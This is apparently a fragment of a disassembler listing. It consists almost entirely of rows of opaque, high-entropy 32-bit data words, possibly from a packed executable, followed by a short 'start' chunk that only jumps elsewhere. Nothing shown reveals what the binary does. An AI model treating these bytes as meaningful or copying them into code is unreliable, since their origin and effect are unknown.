		dd 69C1D979h, 0A0A4EBB6h, 0B04A460Eh, 0DFE0A793h, 2D610587h
		dd 48C4F66Ch, 296E698Ch, 63E04418h, 5B35FA0Eh, 8438403Fh
		dd 1FD78Bh, 1BB3B917h, 9C6375E0h, 3E6B1D18h, 1C029BD1h
		dd 416EF8C8h, 0E263B1CBh, 5F8C200Dh, 0FEED0E88h, 431C095h
		dd 7D3F5277h, 3546E600h, 0D64CC38Eh, 0AC9801F5h, 2976C96h
		dd 7B8850A9h, 0A50FFBA0h, 0C478F083h, 14A83EEBh, 407C691Fh
		dd 8872FC46h, 0C3249133h, 62C0205Bh, 166B1614h,	1E594Eh
		dd 91FF1B5Ah, 2B0003DCh, 3E87E040h, 6D82210h, 5772DA01h
		dd 6E5079A6h, 1500C970h, 0CA348DBFh, 2470B228h,	0EA0925Eh
		dd 336C2263h
		dd 722ADB29h, 0FC90A4AEh, 84A345FAh, 6A0B1126h,	0D95FC900h
		dd 926D7Bh, 76F312E1h, 6188C685h, 7F1A1B13h, 0C67F803h
		dd 55390747h, 20714AA3h, 6D6FA454h, 45EE4400h, 0C6013E5h
		dd 0B229C051h, 65078CF0h, 0E298FF77h, 0D351F14h, 55804E10h
		dd 90BC4EB0h, 6FE53h, 0F360210Bh, 1464AAC4h, 0C1225730h
		dd 0EA5EB2E6h, 65D5036Ah, 2443CB3h, 0E092C499h,	3D98FB24h
		dd 0B4788826h, 0E93642C0h, 55B83E99h, 7E960C00h, 3B28D8E5h
		dd 61F74A03h, 0A53AED35h, 4CD78614h, 0C07E8FE0h, 0CF243F20h
		dd 87222h, 67D9338Fh, 0FB046A28h, 0AA7C7E02h, 20E6CB23h
		dd 3E92F910h, 5C571226h, 253B1D40h, 16232496h, 535402D4h
		dd 5CC6F109h, 1E957940h, 0C345B555h, 0ACC3DAE9h, 0AB72DCE0h
		dd 48984E54h, 89608948h, 101080BDh, 0E819C224h,	47FE0627h
		dd 792C5713h, 8803FD07h, 54009590h, 4CD16FFFh, 0FECFA8A5h
		dd 9ECE57C7h, 34DC3A80h, 24005FA9h, 819AF09Dh, 0B96548CFh
		dd 5DC0090h, 2E4D1DC1h,	8C5C18C8h, 11512154h, 132D7D00h
		dd 38917B95h, 0C4C2010Eh, 0FF99DC16h, 119EF496h, 58A92900h
		dd 9BAF47BDh, 4430A0ECh, 5FE01C5h, 0EB97CA83h, 0B6136Eh
		dd 62C9D806h, 0A825BCB4h, 0E3589700h, 0FA59121Ah, 0EA8A14ADh
		dd 0EE005478h, 2225775Eh, 0CCABE5D2h, 3073C6B1h, 0B5604A88h
		dd 980465E0h, 0C9C500F9h, 1C2913F2h, 0C2152A3Bh, 7FB8A40Dh
		dd 20645300h, 0AF4946E8h, 1E7CEE50h, 0C0D783FAh, 0BA14923Bh
		dd 8F1C3553h, 2180AFBBh, 0B5F807F6h, 5C8807ACh,	25AAD37Dh
		dd 0BE2C8002h, 0C98924Ah, 0B404C216h, 5C524C30h, 0C8D17A34h
		dd 6883A980h, 9FCD362Fh, 4CA505E0h, 7452007Fh, 0E07BDD0Ah
		dd 662E5546h, 73D1C22h,	0D3C335D8h, 0D61B10A0h,	10FF489Bh
		dd 0A2AE517h, 81D42994h, 0CF88053h, 4A8C706Dh, 0B4D7991Dh
		dd 0D49C9500h, 0F338A8Bh, 0B6217BECh, 80C40FA5h, 6B1F4730h
		dd 6AB1EF60h, 1C94F41h,	5A810F61h, 0F47D65D0h, 4488206h
		dd 5BCD1CE7h, 0CC74EC8Ah, 0D5111683h, 0E8CFD854h, 0AABF398Ch
		dd 8CBC7614h, 1F5F7E7Dh, 0C92610FEh, 0D441135Ch, 984430CBh
		dd 6C69A326h, 0B3013111h, 5FDAB53Bh, 8A208093h,	55338B48h
		dd 6B991841h, 0C91A293Dh, 327D6426h, 0D617C700h, 0AB500D06h
		dd 3571DFB0h, 25F95AC0h, 0B7049E4h, 0B33D7AC6h,	0AA72A090h
		dd 0F8128CB1h, 1C00C889h, 72DF0642h, 0B7750051h, 0BC1D51Eh
		dd 0F4A0BBBAh, 9A58DEADh, 0EC0A0ABCh, 0DF43A06Dh, 9B79A8A8h
		dd 7A7AC069h, 53B69851h, 0C46AA400h, 0DBF49A70h, 1C9020h
		dd 7D7B17C0h, 871AB3EDh, 9A2C4CF6h, 5D012D92h, 0DE09FFCBh
		dd 55000C29h, 9F1C9E08h, 3402B3F7h, 0D604BF3Fh,	0D03C4364h
		dd 0EA446398h, 0EC3F065h, 20E5D00Ch, 0CB301EB7h, 1831A972h
		dd 0F1302164h, 599FC4AAh, 5AFC602h, 52A87513h, 0C0C70808h
		dd 798F2F54h, 0BA458020h, 17079F06h, 138FECh, 7481634Ch
		dd 0CC913423h, 1B02E42Ch, 0A070EB56h, 0F3FE7ACh, 0B20E00C3h
		dd 0AFDE4706h, 2C488DD3h, 1C9B06DCh, 0B05056CFh, 61A73D4h
		dd 542EDA67h, 811D8124h, 0FB00ED06h, 944A70E6h,	0A1EF014Bh
		dd 0CC7BA778h, 54EAC850h, 80388499h, 4D59A85h, 94F30917h
		dd 0C323856Ch, 0F4540D31h, 0BBD820A1h, 4B24110Bh, 0D9D40039h
		dd 18F7DBBEh, 31096EF0h, 0E24E00Ch, 0CD00A05Bh,	569BA50h
		dd 0F76A245Fh, 88A60F0h, 0EC61829Dh, 9EED23E2h,	0AB50CCh
		dd 7A213367h, 6E8AA21Eh, 3680109Ch, 0CFEC9916h,	905F0B1Fh
		dd 0F48E6439h, 0DDA15E4Ch, 0C7004AB8h, 90367BAEh, 243E7CBDh
		dd 902D83h, 0CC8F48F5h,	0D33ABBCh, 0B804894Fh, 229D29h
		dd 5C05F638h, 0E0B49874h, 3EF70914h, 8348488h, 4074EB44h
		dd 0D09388E3h, 92D102B6h, 4FC4061Eh, 0E6B848C0h, 4CC0F0A2h
		dd 0DB2C1CB3h, 0E7009081h, 27F4F236h, 0E190670h, 590C6DF7h
		dd 97431800h, 0F62BD742h, 24F37F54h, 13A03C37h,	744CC8FBh
		dd 77F24E00h, 63DEE604h, 4F8D0138h, 0A99DD3FCh,	0C39201Fh
		dd 0C6E14C67h, 6657A430h, 11CD1F7Ah, 2BD92FDh, 13BEF2D0h
		dd 0F11F8461h, 0E126D840h, 0BB90B104h, 0D0C8BD23h, 34DF0510h
		dd 0C672F70Ah, 4826597Eh, 556414B1h, 7A8D3B20h,	0FB47CF03h
		dd 0ED3D67C6h, 41A81448h, 38DC09F7h, 3F5C8340h,	0C398038Ch
		dd 376B4882h, 6A768100h, 0F7A2F138h, 13F80181h,	0A79481Bh
		dd 0EC32DEh, 44BDF067h,	1B3E67Ch, 8401B754h, 40F57DB1h
		dd 0EB3BF1A0h, 6F897360h, 0B812Ch, 0E40EFF20h, 8D3D09A2h
		dd 849E5E2Eh, 0C0DB7204h, 96C9B490h, 3FC73C57h,	6895DF00h
		dd 0D178431Eh, 5206BBFAh, 2755FA9Eh, 0A260089h,	0C7C7350h
		dd 0AA5C2F31h, 6E7800DDh, 9A5B1EF9h, 508904Ch, 9FA37103h
		dd 47C00273h, 18C6C28Fh, 9CA105A0h, 0DF917701h,	3923AB42h
		dd 0AC8B6C28h, 610EC044h, 60DD6959h, 5850644h, 5472273Ah
		dd 0AC987890h, 1B681663h, 0DF09B0EAh, 28609AD5h, 0BF0401Dh
		dd 0C205230Fh, 0ABB93C03h, 0C7A40812h, 29F39CC1h, 0CF655210h
		dd 0EB235E01h, 1C333FB3h, 870D4087h, 22054061h,	442C7864h
		dd 711E655Bh, 72BB303h,	0A77F8F1Eh, 70B5B836h, 40AC44C0h
		dd 755F1362h, 6E1092ABh, 88C0947Ah, 0AE4E49B0h,	54840043h
		dd 337EA4D2h, 0E403573Fh, 0C2A542B3h, 0A4169D36h, 0A6C4AC04h
		dd 6C1EB8B2h, 0B56DC0E1h, 2415AFD0h, 0C3764913h, 565A9830h
		dd 19600ABh, 2219FF70h,	20008C39h, 58FA3130h, 4C03347h
		dd 3EDF5FFCh, 6DC8A455h, 53AED600h, 37295BF2h, 0CE2D1FFCh
		dd 0BA5642DDh, 0B4D81BF6h, 574BECF9h, 4480AC94h, 38943F72h
		dd 0E0757C4Eh, 1865012Ah, 0C6D802F1h, 0DB52D403h, 0EBE67A17h
		dd 0A1F7EC20h, 0D8F6012Ch, 0F2093B72h, 2519431h, 0C126829Ch
		dd 7E5E4001h, 78440339h, 0FEA4756h, 0AC8CC0EDh,	0EB01CD7Bh
		dd 7C1C9948h, 0B450E46Eh, 9FDAE5h, 9D62EA04h, 6B9EAF7Bh
		dd 180022FEh, 0DC7731E7h, 603B911Ah, 5E5D9155h,	0C100FD4Eh
		dd 0BA7423AAh, 3FED7E52h, 213DDAC2h, 1F703F02h,	0CC867CD1h
		dd 0B41E541Bh, 0ED89A355h, 0F43005A1h, 0BFC6F081h, 3DC1875h
		dd 0F3361737h, 1E41F40h, 0B048390Ch, 82A46C5Eh,	0E1BDD69Ch
		dd 1DF8E30Ch, 0C413021Ch, 61653D78h, 3A4414AFh,	7108B455h
		dd 0F9DA8400h, 26CCA243h, 12189A98h, 8124073h, 3F80B640h
		dd 0D172BC3Bh, 4068B6CDh, 752816BAh, 37C5D903h,	0F8AFF86Bh
		dd 73B87D46h, 6F1B01C9h, 0C8221682h, 2910103Fh,	625E49h
		dd 0B7EB3564h, 10C9568Ah, 1DC8001Eh, 4E1472BEh,	4C0C20BFh
		dd 0CD0091EEh, 0F232D98h, 37D8A0h, 7DF90E54h, 0BB24AFB4h
		dd 0EDCB5005h, 6C8019C7h, 87497Ch, 3A1BDCD5h, 6E45E3B3h
		dd 21072CB1h, 0FF20768Ah, 0E84E733Fh, 0BEAF02BDh, 531FF911h
		dd 0A3AB1860h, 0FC327189h, 218AA16h, 54756CB5h,	5A910451h
		dd 84527C07h, 0DABF827Fh, 9A006066h, 0CF06C761h, 8A1A8Bh
		dd 3F5E7E0Fh, 9A8BEE7h,	0C0FCDB4Ch, 0DD4A175Bh,	3AE070C7h
		dd 0CC883D0h, 0E2DF0800h, 0B3BF9888h, 240971F0h, 983EED22h
		dd 2A2D2E4h, 53021DFDh,	1D407170h, 0CD2ABAE9h, 9564B48Bh
		dd 16822208h, 0C648Ah, 0AFF6DFBDh, 8B98169Fh, 0B8FF4513h
		dd 550BF000h, 9B678Eh, 0AE65993Dh, 96C2B5BEh, 0B6FF3519h
		dd 307011B0h, 56EC0033h, 0C71C9448h, 0D100B050h, 0EBCC6C27h
		dd 8D88AFh, 61708C14h
		dd 0B9A248F9h, 1880E891h, 52C36327h, 0B023E855h, 0B4BF0038h
		dd 3288D153h, 100C5073h, 8861B320h, 560B82Eh, 48FA87C8h
		dd 54640CBEh, 0FE015D09h, 7607BAC7h, 90F20A33h,	79FDB0h
		dd 726BE81Bh, 627CD2CEh, 0AC4BD576h, 0B2480445h, 550054F2h
		dd 8A9EC573h, 0BC938C3Dh, 7514D801h, 3988BAA8h,	0A780E371h
		dd 1F95B36Dh, 0ED14009Ah, 0E66BBCE2h, 0B10AD1F2h, 54DD0924h
		dd 0B33D7302h, 6D38A078h, 4A1DFF8Bh, 0A020406Bh, 25249F7Ah
		dd 0DE724700h, 0DF8092F8h, 20884B0Eh, 0FAB7D260h, 895E316h
		dd 0AF713D00h, 16392CEFh, 0D28BFF9Fh, 99E1C668h, 80E02C8Ah
		dd 0B4336E0Ch, 0E9F23ADAh, 97DDF800h, 0CBEFE186h, 0CD04317Bh
		dd 70EA5913h, 0D177FB40h, 0D500A874h, 16AE84EEh, 675B6Dh
		dd 0F99537Ch, 751E6263h, 0ACC5DB24h, 0FC009717h, 20859F3Ch
		dd 3BBF140Dh, 0BC30F4CFh, 215CF220h, 4E019076h,	0E0712510h
		dd 71B877EAh, 0DAD7E400h, 0F77C4B23h, 0F8B5AE16h, 2C34C8h
		dd 0B1D29804h, 23AFC46Dh, 21D4C000h, 690CD122h,	44F098E9h
		dd 9D00843Dh, 0FC0351C6h, 1E8EC12h, 878D8B25h, 30E9708Ah
		dd 740BAF28h, 680DC63Ah, 0D97B7Ch, 0CFD3EE1Bh, 70AEB02Fh
		dd 8300D577h, 9DF8DC06h, 90816210h, 0D81D4C50h,	25544B0Ah
		dd 85F80F4h, 2161A097h,	0F88B5207h, 0FF609A5Ch,	11983h
		dd 0C2B86022h, 26E8898Ah, 0BFEFB405h, 64B2B57Fh, 0E78D0079h
		dd 0E2F9E54Ch, 2D0403F2h, 5C884890h, 12556441h,	0ECDACE98h
		dd 35ECC090h, 93436107h, 4D816D7Dh, 48E41EEFh, 74A3E8F6h
		dd 0D0EB502Dh, 0B2123953h, 7CA05725h, 0E8BFC7CFh, 3A720F00h
		dd 0EE49509Fh, 2A178E9h, 0BAD1AE8Ch, 748055E5h,	4752DAF9h
		dd 0AD49F600h, 0D0D376E7h, 64C40BFAh, 6C03700Dh, 0EDF05FC5h
		dd 0AE4B7513h, 0C7933C40h, 0B492BA3Dh, 0E8E40D8h, 0F4279A65h
		dd 0D670BEh, 4C5128B2h,	0DCEEC8C3h, 89340898h, 0C8CC317Fh
		dd 0DD520E10h, 1FC5DF23h, 501C57h, 0B05A189Dh, 0F9008D84h
		dd 0FA8E886Ah, 19BB40CBh, 916B7FCEh, 3820D4B9h,	0E9EA7300h
		dd 0BDF5CC90h, 587048D8h, 0D5530501h, 0F8FAF6h,	0B91243B0h
		dd 0C35C806Ch, 626E8524h, 90AD6F0Bh, 0C8CF03B2h, 98A7A358h
		dd 3A95C2h, 8CBB36B5h, 2A47AADFh, 13563812h, 0F2951C30h
		dd 5CBA0092h, 0D23DF72Bh, 0A83E12DAh, 1ECDCF3h,	8070AFDCh
		dd 0B0703CD1h, 576C2C03h, 1E4F11E0h, 0BA7AB3EBh, 3C40CBFFh
		dd 0B40B0F2Eh, 6C5A4C4Eh, 0BD007722h, 35B3538Ah, 255D0278h
		dd 4CC4B56Ah, 26966400h, 9F224489h, 79A7022Fh, 43BD7ED9h
		dd 0F60098D8h, 0B7A136EFh, 24EF9F3h, 32ACDDBCh,	3CC1884Ah
		dd 0B5D048F5h, 0DF4E5378h, 0C723BC43h, 0C6692634h, 0EA700554h
		dd 0A53082D7h, 0FD12D058h, 0B0090D11h, 0D9D8004Fh, 4C9B1836h
		dd 0D06024DBh, 236A401Ah, 0CE5DE672h, 9A37803Ch, 3DCBC12h
		dd 5CA81AD2h, 2109966Eh, 80C893A0h, 48A999C6h, 1708000Ah
		dd 3F970EC5h, 3412057Fh, 5813F72Dh, 95600C8h, 0E4FDF910h
		dd 790EB8ECh, 0AC82B2E7h, 3EC1C83Ah, 0D603776Dh, 0DC229E46h
		dd 6B073817h, 0DD5A38D0h, 61400078h, 0E4537992h, 83FE5E2Fh
		dd 98D79E01h, 0CB236C41h, 91F6072h, 9CB415F1h, 0BDCD6000h
		dd 0BA42C9AAh, 0BF66553Fh, 0A6D19225h, 168D7CD8h, 88E9B2E3h
		dd 3703B65Ch, 1CBAD22Dh, 0C159A8CDh, 5D9900ADh,	70ECDDAFh
		dd 3B13A1DAh, 0A09002C2h, 3BE7C4Ah, 0D750A630h,	0BAD865E2h
		dd 3B0310AFh, 7E94C622h, 0C46BDAA3h, 0D07E88h, 375E683Eh
		dd 0A341CEB5h, 80CA333Ch, 38B1706Dh, 0E87327h, 0D2D9B8AEh
		dd 5436EA9Ch, 93223F14h, 0DC917FCh, 0A802C820h,	0C5380087h
		dd 13CFA98h, 0EBEC2E46h, 747E0758h, 153BC8A1h, 0B100E0A2h
		dd 6A87CBB0h, 0EF1E6F83h, 0EC803D17h, 761A979Dh, 548826AAh
		dd 0F544409Ch, 0C5760FBFh, 1D1BAD3Dh, 2E0F192Dh, 0B77BC25Eh
		dd 35B840E9h, 0BB8B3A09h, 0BA7C918Fh, 36D1F3Ch,	0D3943EFBh
		dd 74E656D2h, 0D20DFC00h, 0F0B5097Ah, 8B2C00BDh, 8AEBE05Ch
		dd 0B000A533h, 0BB3E299Fh, 0C11A52h, 66188BCh, 0A2331C39h
		dd 1B1FE907h, 629124F8h, 9428A98Bh, 2CE64F9Fh, 61B5BD67h
		dd 0CC9D6934h, 4801C0DFh, 813D1509h, 342F1C42h,	20DC8D88h
		dd 0F34C8E71h, 0D76300C3h, 0F43945D4h, 0B756129Eh, 6B300F05h
		dd 405202C9h, 0D940430Eh, 0EBAC78BDh, 339F00B9h, 3FC2B19Bh
		dd 9900EFFEh, 1041168Dh, 29C1E622h, 9CCF50Ah, 68E86E8Ah
		dd 2500E708h, 2DC53E07h, 1271535Ah, 538AD16h, 0C01464ECh
		dd 66814810h, 1AC35407h, 0B5D018D7h, 3C0C5572h,	5084460Eh
		dd 0E016E98Dh, 0F89CAD25h, 4821026Fh, 9C5BBEh, 0FE0456B4h
		dd 38987DDAh, 0BF4A9D09h, 64E83841h, 8ED40458h,	0F1AFDAE2h
		dd 57F03F08h, 0C7900B3h, 8231B244h, 6558F0CCh, 46CD25E4h
		dd 1EB8CCB4h, 0DD00CA18h, 27101BE9h, 0E9CDC9Eh,	95ED245Bh
		dd 459F18CEh, 0E5D05Fh,	3AF82798h, 9B97910Eh, 9AD60680h
		dd 0A871CB3Dh, 0CCFD2200h, 72A423A5h, 208D5CD9h, 9BE00430h
		dd 57307514h, 12598945h, 0F2C0C0BFh, 2190DABCh,	79AFC502h
		dd 405C1FB3h, 0B10C6348h, 0EE1D011Ch, 30FC04C2h, 0E300F358h
		dd 42A7849Ch, 0AAC97Eh,	0E5DDD26Dh, 9358B2E2h, 753FE8BEh
		dd 1866BD16h, 0B254C8h,	22381903h, 2193024Ch, 3B285290h
		dd 0E2CF039h, 7140F8ECh, 0BC1011h, 82D78821h, 0F644088Eh
		dd 19DEB000h, 0EED04EF1h, 9F1A13B3h, 0A36CC8C4h, 33658300h
		dd 5A5E5B7Eh, 6DB505A4h, 0E5A17282h, 0C470814Ch, 0AE1F5E88h
		dd 430B446Ch, 389BEC8Eh, 0A57668F0h, 110036EEh,	0FD4D41ACh
		dd 0A3C0E3Dh, 0E6305B6Dh, 253C20C8h, 1C91AD72h,	30AF0CBEh
		dd 0C008D5FDh, 0A235723Ah, 5CA229FFh, 92DF5607h, 4C1490EAh
		dd 0F1752CA4h, 0DC447705h, 34C008B6h, 4BB331Ah,	2C504F73h
		dd 184B955h, 41FAE39h, 260BC4Ch, 3E901D9h, 0CF33ABA4h
		dd 0CC98E8C2h, 0A61BDC00h, 567F441Eh, 5C2D09B2h, 1C59B63Dh
		dd 89EA5386h, 379D0011h, 1C12EB74h, 0AD00FC5Dh,	4739AAB4h
		dd 90A4686h, 0D75AAC2Ah, 0E00FCE4h, 87ED73EAh, 183D5F8Dh
		dd 20D492FBh, 0C700EC45h, 0F1B8337Dh, 5EE71485h, 453420AEh
		dd 6D280B1Fh, 0A35D907Ch, 0B428958h, 2C64BDh, 644192BFh
		dd 952FCFAAh, 169C664Ch, 0C3026BBh, 0A1B013h, 0D82B02DDh
		dd 0ADBCACB2h, 16619102h, 40C55D8Fh, 5A6D0A50h,	0F6782339h
		dd 9498C0CBh, 5C008EB5h, 0AB79D608h, 23977A5h, 56C73AECh
		dd 68C66828h, 9ED20F00h, 0BB63A058h, 95180780h,	42A1A365h
		dd 88E3BDCAh, 1DF0D0D4h, 0C7719A56h, 61D7240Ah,	7911C0B4h
		dd 109BB26h, 363B23C3h,	0E866E20Dh, 66D86207h, 0AA410F0Ch
		dd 35E407B8h, 0BDE202DAh, 1E9F5547h, 0BE9EBCC0h, 0EC1D4C24h
		dd 6EDCBB03h, 0DEE298FEh, 17AD06F8h, 7175EA56h,	0FAD35D07h
		dd 97972B5Eh, 584479h, 0EF6CC3B4h, 7BCB52Dh, 0FB66D00h
		dd 818DE10Bh, 872C0009h, 0F07D6AFAh, 0E7001CB3h, 17271392h
		dd 0A6795C4Bh, 34A01FC4h, 0D185871Ah, 6F9950AFh, 3102D290h
		dd 0CC9C6C0Ch, 0E8C40C7h, 20635FBEh, 76545B80h,	3736A200h
		dd 0F52039DAh, 87330050h, 8D35CBAEh, 0C5130C25h, 0F4882D7Dh
		dd 9B210033h, 0F1349044h, 1895AC72h, 38B3658h, 9F7F6D1h
		dd 0B8E89B5Ch, 109D24E7h, 4D6128h, 3A0DAC10h, 0DF98CDF3h
		dd 8D03F605h, 0E0C03BA6h
		dd 9C119A6Bh, 8F3A40B4h, 7FEEF9CEh, 0DBEBDF00h,	3B4439C8h
		dd 1794BCC6h, 31000611h, 50040A5h, 982213C5h, 0B8B565CBh
		dd 0F9243952h, 3882F1Eh, 0ED262986h, 0AA6AC888h, 0B6CD900h
		dd 4D993DA5h, 91080454h, 0F21F39B2h, 12007FF4h,	68FFD55Eh
		dd 1E18AE0h, 7F24DB74h,	0D4139F53h, 96FCD052h, 84243CFDh
		dd 0E980C8B0h, 19A3623h, 0A5DE56BBh, 0E9C1296Ah, 0A879C3h
		dd 5B8ABF13h, 4A2E8298h, 53C88848h, 0D63AC300h,	56E995DDh
		dd 7B6B00ECh, 61B59C2Ch, 7DB006C1h, 0B48A980Eh,	0BCC8F389h
		dd 760C0B0Dh, 3C83Ch, 0C0FCE828h, 0A6453D0h, 0B488F14Ah
		dd 21304236h, 75C400DBh, 0A2F156B3h, 80C0EC4Ch,	0F6D026Fh
		dd 0E1F44Ah, 89A68C0Bh,	0CD03DF4Dh, 93B8833Fh, 0B0CCBF3Dh
		dd 11D5810h, 0CECBE14h,	0F8D45F00h, 0E55072ABh,	9B228C17h
		dd 8B4A9800h, 4BAFEA33h, 0E1182069h, 147191A4h,	0FCB57300h
		dd 299CDDF9h, 58E50267h, 53789874h, 0DC611C5Ch,	0D3D059EFh
		dd 8D3C024Ch, 0E7A9EEB1h, 0B40C8440h, 6DA63300h, 981D711Fh
		dd 537A1218h, 0CD1C8843h, 58D87304h, 0BCE90DCCh, 0C1B61D01h
		dd 6F3EE487h, 7D2DB9E0h, 0EC6F2451h, 4A540F8h, 817720E7h
		dd 0F6E57D00h, 0BB9F6092h, 5D875DFh, 0A468A726h, 0A0F2B4h
		dd 0E14D236h, 49EB3Eh, 0DF1062C2h, 0BA72B907h, 0F394829Fh
		dd 0CE232222h, 8280E056h, 10F0DEC0h, 41042725h,	6E913810h
		dd 7E648E00h, 0E6553613h, 0ABE38ACh, 8B48EE89h,	50D9486Ah
		dd 416E0700h, 1A266C3h,	407E1AEFh, 3A0DC438h, 31F08040h
		dd 0ECCF7Ch, 5C8F8D46h,	165621C8h, 1A508CB8h, 87972DE0h
		dd 0E486F688h, 0DD0D09C8h, 0CC07C433h, 8E2C601Bh, 8B1F009h
		dd 0DA80B021h, 9E18A2B7h, 4292010Bh, 528FDDAEh,	87F86C27h
		dd 43731959h, 0C0D5F05Fh, 0E0024CC2h, 0B9741783h, 31DB5BE0h
		dd 0EFE6B706h, 179870F7h, 0D2C3224Ch, 0C072EBECh, 4703D00Eh
		dd 76070036h, 981A3C99h, 9E4E00B8h, 0EA0A09A3h,	0F8018A5Dh
		dd 252415A8h, 0D7C85258h, 893D3072h, 54643251h,	965CFD3Fh
		dd 9488EDFBh, 0C72003EAh, 0A07B5AEh, 0D7364CA8h, 821ABE3Ch
		dd 9F5B98F0h, 0D363106Bh, 8E024700h, 0DAF12318h, 68B564A7h
		dd 9888526Fh, 709507F8h, 0D005E56Dh, 0E29F35F1h, 0CC9B0B09h
		dd 0C58C819Eh, 5C38F70Ah, 0C2A19887h, 8CE4FB57h, 0B1EF44h
		dd 0BB99791Ah, 0BAF5010Ah, 5212D900h, 59159DC7h, 2EB60239h
		dd 3DF8092Bh, 1002DC91h, 107D30h, 76091B4h, 0F0B798EFh
		dd 3DB3704h, 0ADC188C1h, 142B4C9Ah, 0A0AED58h, 112438F8h
		dd 83C400A3h, 0D0C5716Eh, 9EFC0370h, 53C75557h,	0DBCD9FB8h
		dd 0C05813B7h, 7774CB44h, 6F070076h, 384894B4h,	0CD0975EEh
		dd 71A0728Eh, 80BE1014h, 8C4FF3DCh, 5A7233h, 83ED3792h
		dd 9DFBF60Ah, 119FF9E8h, 1093730Ch, 0EE94323Ch,	2072EB22h
		dd 0DCA74445h, 80A0D01Ch, 27143FC0h, 28EF46h, 726423A8h
		dd 90F68886h, 124788BEh, 21F88ED0h, 0DDE23B9Ch,	6044BDAEh
		dd 748A07B3h, 8B024401h, 5F555061h, 39EA5EE4h, 0B200AAB0h
		dd 1353B54Bh, 0E8B4A075h, 5374040h, 401CBCE4h, 479BD7EDh
		dd 7C57D3Eh, 75A9961Fh,	407BC182h, 287E1D8Ch, 2DCC20F8h
		dd 0AC642DC6h, 0FC13E300h, 0A13306EFh, 12AA703Bh, 8878C511h
		dd 0B400CFA8h, 349508ADh, 780AC97Ch, 0B9874C4h,	0EA3C3F18h
		dd 0A01BA010h, 83B42800h, 62276145h, 0A79500AAh, 2D3C0649h
		dd 71F6DDC3h, 0E42AF700h, 8866229Ch, 1DC502D1h,	0AE33C436h
		dd 0AF03B77Ch, 5DA0A05h, 0CC965D59h, 2D3491CAh,	807828E1h
		dd 0B109B2DEh, 9DF7E64Ch, 2C1B902Bh, 3FE6F9B0h,	64A16A1Fh
		dd 4E401824h, 834304h, 8DEF3CA0h, 0D04B2C1Ah, 24083B4Ch
		dd 570271E2h, 7CB648E8h, 4538A894h, 80C42847h, 76D202DDh
		dd 821006Fh, 0E3F91051h, 8966548h, 978D8BAh, 917DCF2h
		dd 79866F4h, 192FB49Bh,	0B0412BA3h, 0AECF1034h,	0DE630055h
		dd 3A7D8807h, 0EC1CFFDCh, 46AD9714h, 0E5F603B4h, 774C9BEFh
		dd 0CCCC8CE2h, 0B8C76602h, 76CA6023h, 0A5C44020h, 0BC02E15Ch
		dd 0FC6F6C1Eh, 0EAB0E0A2h, 0C9074FD2h, 4FEBE860h, 0F27521FCh
		dd 71E80B1h, 1B88640h, 2D58C0E1h, 884423C9h, 1A2D5498h
		dd 0C49461B1h, 9B009C63h, 7C17E9DAh, 0CF008649h, 0CB338ABCh
		dd 424C1Ch, 0E7E3DF4Bh,	536D19B1h, 0A672DA12h, 2E4460CCh
		dd 5946AAFh, 0C03850ECh, 26116374h, 0BD0B1E1Ch,	0E00E54C0h
		dd 0B0E5D957h, 0F212F64Ch, 4088BC72h, 8DAC1498h, 44BD1E00h
		dd 68FED118h, 0C79E02B5h, 139D96BCh, 6508F874h,	9888B774h
		dd 0DDC2C780h, 99EA0306h, 0A15C00D8h, 0CC71119Dh, 0CA17A30Fh
		dd 0E503F222h, 0B8B96F06h, 945C4Bh, 3BE31E65h, 411AECDCh
		dd 0C344532Dh, 0A2C7C8A8h, 987A0206h, 0A9D538C6h, 900A071h
		dd 97E4AEC2h, 0A7F403A6h, 0C83AAACCh, 81ABC0EDh, 9809C29Ch
		dd 4190BC4h, 54F8F160h,	0C11FDBC0h, 220123B0h, 0E313B237h
		dd 60226B72h, 1BE9C000h, 14C327CBh, 9DEAC560h, 5BD988AFh
		dd 0DC50400Dh, 860B0572h, 0BA677107h, 0A1942041h, 236B488h
		dd 8F1A0DC5h, 60C45710h, 938A7200h, 4A4B71A8h, 0BE0506FFh
		dd 0F84C6E92h, 7016325Eh, 5F979C1Ch, 1A0040B2h,	0FE1664B6h
		dd 2700E02Dh, 0F4B51BF5h, 0E410222Ah, 0B60703BFh, 0CD5E531Dh
		dd 0BD3D16F0h, 0E8A0D8BEh, 1DB3E903h, 0B871E847h, 58F03673h
		dd 8811B4A3h, 24FC5B75h, 0FC4A524h, 0A18B149Eh,	0ADCC44C8h
		dd 90E8DC1Ch, 61405A5Ch, 476AD6E3h, 477CBE12h, 45CFA076h
		dd 0C6A02FFEh, 7C009488h, 5BF06B1Fh, 2D167CDh, 56B5C3ADh
		dd 0CC59E180h, 0C902C51Eh, 0FFFD983Dh, 22707460h, 6A58C200h
		dd 5F10B0D1h, 3F44904Fh, 5B9E2F81h, 0BC2E3Fh, 5D55ABC3h
		dd 4E02BDD3h, 0B00B2D1Eh, 83A47C6Bh, 8B9B507Bh,	6455FCF0h
		dd 80182CF5h, 8DBAA431h, 50D607F6h, 3F88F257h, 0F8C1DC2Bh
		dd 1F069A3h, 70F98040h,	77D6F033h, 0E0C0EBC3h, 0BC9024E5h
		dd 0C62EC317h, 400488h,	8A179070h, 0AA692C14h, 7AE91B00h
		dd 0F23AFE55h, 0F225E49Ah, 924800C8h, 7F675C88h, 100B28C7h
		dd 0C4B8F026h, 501200A0h, 0FDE599A6h, 9E0ED1A7h, 0CB18BDh
		dd 0F3290840h, 650F0FAAh, 0D0F223C5h, 0FD459C6Ch, 0DF4EF600h
		dd 9B8B5905h, 0B2E33E84h, 7F73313h, 134BFA08h, 0F3C8830Ch
		dd 0FE021A03h, 0D9F8F637h, 79D87AEBh, 0D86E3959h, 358750h
		dd 3E755CA0h, 1519166Ah, 0B0B0858h, 66AA722Ah, 7F340548h
		dd 0C2A0E936h, 1C62F5C4h, 0C8E5F47Ch, 316B50F5h, 70736560h
		dd 88006CBBh, 2FBE459Eh, 3DE225Eh, 0F26E07B5h, 77F0878Bh
		dd 7F07A73Ch, 9933EC5Dh, 4813D800h, 460100EAh, 0AEEF8DE9h
		dd 0A2006888h, 76F8398Eh, 0DF8947h, 0A801D225h,	0A1C3B062h
		dd 41875E0Eh, 0BC8FA2h,	661AD803h, 1CC52A9h, 60FBFFFFh
		dd 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53E7C9:				; CODE XREF: start:loc_4E0265j
					; DATA XREF: start:loc_4E0086o
		jmp	loc_541AAA
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd offset byte_56EA8F
		dw 1FFFh
		dd 4D1E0000h, 5Ah, 3E0000h, 9Fh, 3 dup(0)
